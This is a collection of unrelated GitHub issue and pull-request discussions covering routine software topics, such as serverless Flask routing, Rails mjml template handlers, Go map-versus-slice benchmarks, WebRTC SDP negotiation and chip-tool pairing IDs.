Hi @thinhv @breferrari . I’m totally agree with you guys. Actually we already working on replacing Alamofire to native URLSession and it will be released in one of next releases https://github.com/verygoodsecurity/vgs-collect-ios/pull/114. The only one concern here is that Alamofire  provide nice AFError for failed requests, that will be replaced.

Alamofire has been removed as dependency in VGSCollectSDK v1.5.0.


Missing Authentication Token

I'm getting the following error when I call "/" for the simple test app below

{"message":"Missing Authentication Token"}

api.py
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "INDEX"

@app.route("/cats")
def cats():
    return "Cats"

@app.route("/dogs/<id>")
def dog(id):
    return "Dog = " + str(id)

serverless.yml
service: example

provider:
  name: aws
  runtime: python2.7

plugins:
  - serverless-wsgi

functions:
  api:
    handler: wsgi.handler
    events:
      - http: ANY {proxy+}

custom:
  wsgi:
    app: api.app

Calls to /cats and /dogs/x work fine. Oddly, calling / from the API Gateway console returns successfully, but not when calling from curl or a web browser.

This is expected as {proxy+} (for unknown reasons) does not match /. You would need to match / explicitly:
functions:
  api:
    handler: wsgi.handler
    events:
      - http: ANY {proxy+}
      - http: ANY /

Shouldn't this be changed in the example or otherwise noted somewhere in the readme? The accompanying text for the example even says:

This configuration example treats API Gateway as a transparent proxy, passing all requests directly to your Flask application, and letting the application handle errors, 404s etc.

...which is obviously not true, because requests to / aren't passed directly to the Flask application.


Handle slim and haml templates

Added the ability to use .mjmlslim and .mjmlhaml templates

@vddgil hi! Thanks for your PR! Will it works just with new extension or I should configure something to use slim, haml or erb handler? I am asking about this string:
def initialize(base_handler = :erb)
  @base_handler = base_handler
end

I will just work with the new extension

.mjml if you want erb (like before)
.mjmlslim if you want slim
.mjmlhaml if you want haml

Nothing to configure

@vddgil cool. I am thinking about another way to detect handler. Example:

.mjml / .mjml.erb – Erubis
.mjml.haml – Haml
.mjml.slim – Slim

Guess it's more clear for IDE's/Editor's than creating new extension. What you think?

Yes, that was my first solution. But it appears that rails doesn't support chaining multiple handlers for the views 👎 . So I came up with those weird extensions ...

@vddgil I am sure that saw a way to check extension of processed file. Let me find it.

If you find a way to handle a .html.mjml.slim / haml view, I will be really happy :)
Because that's the problem, as soon as you have two handlers after the .html, rails is suddenly not able to find your view :(

@vddgil you are right. Rails don't support more than 2 extensions for templates because of first one is response format and second one is template handler. So I will merge your PR and will add documentation later. Thanks a lot!


suspend cluster

What type of PR is this?

[ ] bug
[x] feature
[ ] enhancement

What problem(s) does this PR solve?
Issue(s) number:
Description:
How do you solve it?
Special notes for your reviewer, ex. impact of this fix, design document, etc:

$ kubectl get nc
NAME     READY   GRAPHD-DESIRED   GRAPHD-READY   METAD-DESIRED   METAD-READY   STORAGED-DESIRED   STORAGED-READY   AGE
nebula   False   1                               1                             4                                   5d13h


Better inter-process communication API

Godot version:
3.0.6
OS/device including version:
Any
Issue description:
Godot can be the new HyperCard.
Upon reading this, I tried to implement a calculator in Godot.
It was surprisingly simple, except that I have to rely on python to evaluate math expressions like 1/2*9.
However, there currently is only one way to execute external command: OS.execute. There is no way to get stderr or status code, so I need a better API.
Equivalent API in golang
I found this library: https://gitlab.com/eidheim/tiny-process-library

At this moment, you can use C# Process class to achieve this functionality (+) its faster and have lots of features (-) it requires mono version of engine which may be undesired..

I'd also be interest to see Godot's core enabled to communicate with external processes without blocking, it would allow extending games and applications capacities by sending data back and forward to specialized technology standalones (IPC).

The biggest missing feature (or at least the first thing to add) would be checking process status after it's launched, so far we only have OS.kill(pid) afaict (from gdscript)
after that, reading the stdout from a non-blocking process would be a close second.

Closing in favor of https://github.com/godotengine/godot-proposals/issues/216, as feature proposals are now tracked in the Godot proposals repository. (Please open another proposal if you need something not tracked in that proposal.)

@Calinou , I think this request is not exactly the same as godotengine/godot-proposals#216.
Here we want an asynchronous inter-process communication which allows Godot writing data to the STDIN of the child process and reading out it's STDOUT and STDERR (And maybe custom file descriptors for more flexibility).
godotengine/godot-proposals#216 seems to only want to read the STDOUT asynchronously.

@silverkorn Please open a separate proposal for that :slightly_smiling_face:


[BEAM-12776] Change closing to happen in background in parallel for multiple windows

Please add a meaningful description for your change here

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

R: @chamikaramj

Run Java PreCommit

Run Java PreCommit

Thanks. LGTM

Run Java PreCommit

Run Java PostCommit


why not use a map for params?

A map seems to be the obvious data structure because the parameters are just a key value map. However, in https://github.com/pressly/chi/blob/master/context.go#L69, chi is using a slice of type param. If this was done for performance, is it really that significant?

I found http://www.darkcoding.net/software/go-slice-search-vs-map-lookup/
and wrote my own benchmarks:
package main

import (
	"math/rand"
	"strconv"
	"testing"
)

const (
	structureLength = 10
	keyLength       = 5
)

func gen() (s string) {
	for i := 0; i < keyLength; i++ {
		s += string(rand.Int63n('{'-'a') + 'a')
	}
	return
}

func BenchmarkMap(b *testing.B) {
	m := make(map[string]string)
	for i := 1; i <= structureLength; i++ {
		b.Run(strconv.Itoa(i), func(b *testing.B) {
			k := gen()
			m[k] = gen()
			b.ResetTimer()
			for i := 0; i < b.N; i++ {
				_ = m[k]
			}
		})
	}
}

func BenchmarkSlice(b *testing.B) {
	type item struct {
		k string
		v string
	}
	var s []item
	for i := 1; i <= structureLength; i++ {
		b.Run(strconv.Itoa(i), func(b *testing.B) {
			s = append(s, item{gen(), gen()})
			b.ResetTimer()
			k := s[rand.Int63n(int64(i))].k
		benchLoop:
			for i := 0; i < b.N; i++ {
				for j := 0; j < len(s); j++ {
					if s[j].k == k {
						continue benchLoop
					}
				}
			}
		})
	}
}

On my laptop, I get:
BenchmarkMap/1-8   	100000000	        28.2 ns/op
BenchmarkMap/2-8   	100000000	        23.0 ns/op
BenchmarkMap/3-8   	100000000	        24.8 ns/op
BenchmarkMap/4-8   	50000000	        26.9 ns/op
BenchmarkMap/5-8   	50000000	        29.4 ns/op
BenchmarkMap/6-8   	50000000	        21.4 ns/op
BenchmarkMap/7-8   	100000000	        22.0 ns/op
BenchmarkMap/8-8   	50000000	        27.1 ns/op
BenchmarkMap/9-8   	50000000	        30.0 ns/op
BenchmarkMap/10-8  	100000000	        19.3 ns/op
BenchmarkSlice/1-8 	300000000	         4.67 ns/op
BenchmarkSlice/2-8 	300000000	         9.90 ns/op
BenchmarkSlice/3-8 	100000000	        14.4 ns/op
BenchmarkSlice/4-8 	300000000	         4.78 ns/op
BenchmarkSlice/5-8 	50000000	        21.5 ns/op
BenchmarkSlice/6-8 	50000000	        26.8 ns/op
BenchmarkSlice/7-8 	200000000	        31.0 ns/op
BenchmarkSlice/8-8 	100000000	        19.7 ns/op
BenchmarkSlice/9-8 	300000000	        30.7 ns/op
BenchmarkSlice/10-8         	50000000	        36.2 ns/op
PASS
ok  	github.com/nhooyr/slicemap	50.972s

With the above results, I think the difference between the two is negligible and thus chi should just use a map because it is less code.

@nhooyr for a little bit of performance, but primarily reasons of allocation and reusing the url params dictionary


Issues when creating custom gadgets

I'm unable to create custom gadgets:

For bar chart,I'm getting the following error:
Uncaught Error: Unrecognized scale type: int(11)
-For donut chart,I'm getting a new extra item 'undefined' in the legend

Other questions please, how to support new types,for ex double bar chart?

couldn't reproduce


NIFI-13464 - NiFi Registry - Fix DeprecationLoggerFactory NoClassDefFoundError

Summary
NIFI-13464 - NiFi Registry - DeprecationLoggerFactory NoClassDefFoundError
With https://github.com/apache/nifi/commit/e99344fadab4af67b86b03d130bc196c9b9715eb (#8979) nifi-deprecation-log has been added to ./lib/bootstrap but it also needs to be in ./lib.
Tracking
Please complete the following tracking steps prior to pull request creation.
Issue Tracking

[ ] Apache NiFi Jira issue created

Pull Request Tracking

[ ] Pull Request title starts with Apache NiFi Jira issue number, such as NIFI-00000
[ ] Pull Request commit message starts with Apache NiFi Jira issue number, as such NIFI-00000

Pull Request Formatting

[ ] Pull Request based on current revision of the main branch
[ ] Pull Request refers to a feature branch with one commit containing changes

Verification
Please indicate the verification steps performed prior to pull request creation.
Build

[ ] Build completed using mvn clean install -P contrib-check

[ ] JDK 21

Licensing

[ ] New dependencies are compatible with the Apache License 2.0 according to the License Policy
[ ] New dependencies are documented in applicable LICENSE and NOTICE files

Documentation

[ ] Documentation formatting appears as expected in rendered files

Thanks @exceptionfactory - I just pushed a commit following your recommendation

Merged in https://github.com/apache/nifi/commit/3e1824264cc08c7bc996e4d6c178f3e0e5f5ff15


Crash on placing an environmental controller (And on any attempts to load the world)

Tried to place an environmental controller into the world, on stone. (It was cheated in, if that matters)
Crashed immediately with this error log:
http://pastebin.com/dKmd6Udw
Attempting to load the world gives this error:
http://pastebin.com/Y9Ebs4KN

You have a mod in your modlist that has an invalid RF api. Problem is figuring out which one.

What's your modlist?

It's Metroid Cubed 3
A quick look shows they're using the 1.7.10R1.0.2 version of the RF API

aha thanks for checking that!

Problem is figuring out which one.

For the next time: Ender IO has diagnostics for this problem, so it can be used as diagnostics tool.

I head to take EnderIO out, actually, because of an incompatibility with MC3 and Tcon


torchao support

Any plans to support torchao quantizations?

Hey @ogencoglu, yes! We have like one and a half optiond atm, but they're just fake-quant / edge devices. We have
NATIVE_CONVERT_AI8WI8_STATIC_QUANTIZED
NATIVE_FAKE_QUANTIZED_AI8WI8_STATIC

The latter does fake-quantization using the torch.ao.quantization quantization modules (very slow since it's fake-quant, not intended for infernec,e plus the if-statements in the forward call are extra slow).
The former converts the model, but it's CPU only. Near future plans are to add GPU-quantization torch ao options!

We have a PR here that adds some prelininary support, e.g. just torch ao autoquant and the int4-weight-only quantie options.
https://github.com/saifhaq/alma/pull/95
I won't close this issue yet, I want to expand torchao coverage some more.

Thanks for the swift reply. As i mentioned in the other issue, I think a column in the Readme table would make it easier to clarify which option is based on which project.


[Question] SetRemoteDescriptionAsync cause Value does not fall within the expected range exception on sparse request

Hello,
I have a fairly simple unity project I'm hoping to convert over to MR-WebRTC that includes a small webrtc connect script and websocket signal server.
On connected when attempting the "SetRemoteDescriptionAsync" I get the "value does not fall within the expected range exception". I've seen others mention h264, but in this case I'm only using a connect with a single data channel(required by my backend--an audio transceiver will come later).
First attempt, no transceiver:
Offer
 v=0\r\no=-<PHONE_NUMBER>535602967 2 IN IP4 <IP_ADDRESS>\r\ns=-\r\nt=0 0\r\na=group:BUNDLE 0\r\na=msid-semantic: WMS local_av_stream\r\nm=application 9 DTLS/SCTP 5000\r\nc=IN IP4 <IP_ADDRESS>\r\na=ice-ufrag:CPYI\r\na=ice-pwd:7IVXnqYrDK6SywZZsij/I/Gb\r\na=ice-options:trickle\r\na=fingerprint:sha-256 2A:1D:86:0A:4D:C0:F6:32:89:0D:FD:68:05:80:52:F2:50:6D:CA:B2:59:AB:40:64:2A:09:83:56:DF:E5:08:1D\r\na=setup:actpass\r\na=mid:0\r\na=sctpmap:5000 webrtc-datachannel 1024\r\n
Answer
v=0\r\no=-<PHONE_NUMBER>352919 1 IN IP4 <IP_ADDRESS>\r\ns=AudioBridge 2\r\nt=0 0\r\na=group:BUNDLE\r\na=msid-semantic: WMS janus\r\nm=application 0 DTLS/SCTP 0\r\nc=IN IP4 <IP_ADDRESS>\r\na=inactive\r\n
All of the sdp events fire and the ice candidates even get sent over after this, however the "Connected" event never occurs (I believe because of the above).
Any ideas on how to resolve this?
Thanks
Cody
Environment
MR-WebRTC 2.0
Platform: Unity Editor in UWP platform
Architecture: Unity Editor is x64 on Windows
Unity version (if applicable): 2020.1.13f1
Target device: Standalone Player

After pull the repo and compiling I was able to see the issue had to the do with the difference in the sdp offer/answer m-lines.
I'm not able to offer/answer successfully and working on the ICE functionality.

the issue had to the do with the difference in the sdp offer/answer m-lines

What difference exactly?

The Janus server was dropping the data channel in the response. This caused the "difference in m-lines" message to be thrown.


WIP: CODEOWNERS

Signed-off-by: Moni<EMAIL_ADDRESS>
What is the purpose of this pull request?

[ ] Documentation update
[ ] Bug fix
[x] New feature
[ ] Other, please explain:

What changes did you make? (provide an overview)
Started CODEOWNERS
Which issue (if any) does this pull request address?
#852
Is there anything you'd like reviewers to know?
This is a v1 and more revisions are to be made. This is not perfect yet.

@JefferyHus Nope. These are the people the automatically get assigned to review the PR's. Althought other can review too.

Makes sense, thanks

cc/ @Richienb @tinovyatkin @jimmywarting

@NotMoni the PR is in Draft status, so, I was assuming it's not ready for review yet (and as far I see you are ignoring my recommendation to not do broad assignment and assigned the whole team for all .js that is big 👎  from my point of view), while @LinusU who did a great contribution for our TypeScript is not there...

@tinovyatkin I don't know what everyone is good at. I was trying to get some suggestions as to how I should move people around...
@LinusU I'm sorry for not including you. 😢

Closing this. 🕘


nginx tlsv1 alert unknown ca:SSL alert number 48

https://stackoverflow.com/questions/67295805/client-certificates-for-nginx-upstream-not-working
I followed your guide, mostly. However, my goal is for an mqtt load balancer. I am getting:
nginx tlsv1 alert unknown ca:SSL alert number 48
Since the above post I tried moving directory to /etc/nginx/clientca no difference

It was related to my letsencrypt certificate on the domain. Thanks for excellent tutorial


add loading

@danijel-radomiljac is the intention for the loader to be near the bottom? It looks a little weird.
https://github.com/user-attachments/assets/54b17dd7-fb98-4902-897a-5876719485a9

@danijel-radomiljac is the intention for the loader to be near the bottom? It looks a little weird.
Screen.Recording.2024-07-23.at.5.43.58.PM.mov

I can move it near centar


Adding Proxy Support.

This uses native requests modules proxy behind the scenes. Provided the command line options to pass the proxy configs.
This will help corporate people.
This PR is addressing issue: Add proxy command line option
Please review the PR and tell me what else need to be done to get it merged.

@Jwomers please review it and help me how can i increase the code coverage here?


Have chip-tool generate a random remote node id every time it pairs.

This way multiple things we pair don't step on each other's toes as
far as mdns advertisements go.
Fixes https://github.com/project-chip/connectedhomeip/issues/8439
Problem
chip-tool uses the same node id for the device being paired every time it pairs.  So if you pair two devices on the same network (possibly with different chip-tools on different computers) you will get mdns advertisement collisions.
Change overview
Change chip-tool, by default, to generate a random node id for the device being paired.
Testing
Ran the "tests" job locally with the random id generation enabled and made sure that it (1) passed and (2) showed different ids being used in the logs.

Hi all,
when using chip_bypass_rendezvous=true, and pairing only via ip, the remote ID needs to match the one of the device to be commissioned. A random ID will cause the device (that shall be commissioned) to not respond to the mDNS request.
In the past, this was no issue as there were fixed Node-ID being used (kTestControllerNodeId, kTestDeviceNodeId). Hence, "config_pair_with_random_id=false" is required if pairing over IP.
Unfortunately this configuration (config_pair_with_random_id=false) does not always use the default Node-IDs as before. It first checks the persistent storage if there was already a remote-Id configured. It might makes sense to consider this somehow (e.g. using the default remote IDs, if no random-IDs shall be generated?).
Quick Workaround:
To use the default remote-IDs again, it's also possible to clear the persistent-storage (linux: /tmp/chip_tool*). In this case the default values will be used again.

It might makes sense to consider this somehow (e.g. using the default remote IDs, if no random-IDs shall be generated?

Good idea.  https://github.com/project-chip/connectedhomeip/pull/8714


Apache Timeout

When 'django-unicorn' is in INSTALLED_APPS the apache2 server on ubuntu20.4 timeouts. Logs shows:
-Timeout when reading response headers from daemon process
-Truncated or oversized response headers received from daemon process
googling it I find fix in stackoweflow https://stackoverflow.com/questions/40413171/django-webfaction-timeout-when-reading-response-headers-from-daemon-process
I inserted to apache2.conf :
WSGIApplicationGroup %{GLOBAL}
but i wonder why is that even happening? Any hints on how to track the issue?
PS. Adam this is awsome package !!!

Do you get the same errors when Unicorn is not included in INSTALLED_APPS? It looks like that fix mentions numpy and scipy. Unicorn doesn't use either of those libraries, but maybe the orjson dependency is causing an issue? It's rust and not C, but it's the only thing I can think of that is sort of "non-standard" and not pure Python as far as I know.
I'm glad that fix worked for you. I've never seen that issue crop up before, but if I can replicate it I'll re-open this issue in the future.


Rendering issues in IOS ONLY, On Android working perfectly

I'm working on a big Flutter app that is in production for the past few year.
Since Flutter 1.16 we are having issues with rendering for IOS. On Android it is perfectly fine!
Some images are not being rendered on some phones, It is very sporadically and not something that can be debug (Not always same images and elements)
In 1.17 it seems that the issue was solved. But then when updated to 1.20 (Also on 1.22) the issues returned.
As this happens only on IOS and not consistent, it is so hard to debug and so annoying.
From what we managed to research the conclusion is that it happens mostly the the app is sent to the background for a long period of time (few hours) and only on certain devices.
I wonder if anyone encountered this issue and if there is a solution for it.
The way I will go from here is:

Trying using SVG instead of PNG

Trying to find a way to call setNeedsLayout() or something like that in flutter

Trying to find a ways to look at viewWillAppear and viewDidAppear for the flutter VC

Just throwing things over here as again in Android everything is working perfectly.

@BRZErez
Reading your issue description and the pattern, ie on iOS, app is sent to background for long time and then accessing it and this is not happening on Android, I tend to think this is similar to another open issue which talks about same thing. I'd suggest you to follow-up there for updates and any questions you might have since it has active discussion going on.
I am going ahead and closing this as duplicate. If you disagree, write in comments and I'll reopen.
Thanks.

This is a bit deferent as for us it is not only images... At list in Flutter 1.17 it was also text...
We got text not rendered fully and things like that...
It was rendering in general..
In 1.20 and 1.22 we see the images not rendering but I can't say it is only images not rendering...
So I do not know it is the same issue, But decently related
10x

@BRZErez
Is it possible for you to provide a minimal complete reproducible code sample that can possibly help to replicate the issue in non-prod environment ?


Add Maven Wrapper

As discussed in http://camel.465427.n5.nabble.com/Maven-memory-issues-on-Jenkins-td5815273.html

@davsclaus can we merge this?

Yeah sure

Merged to master.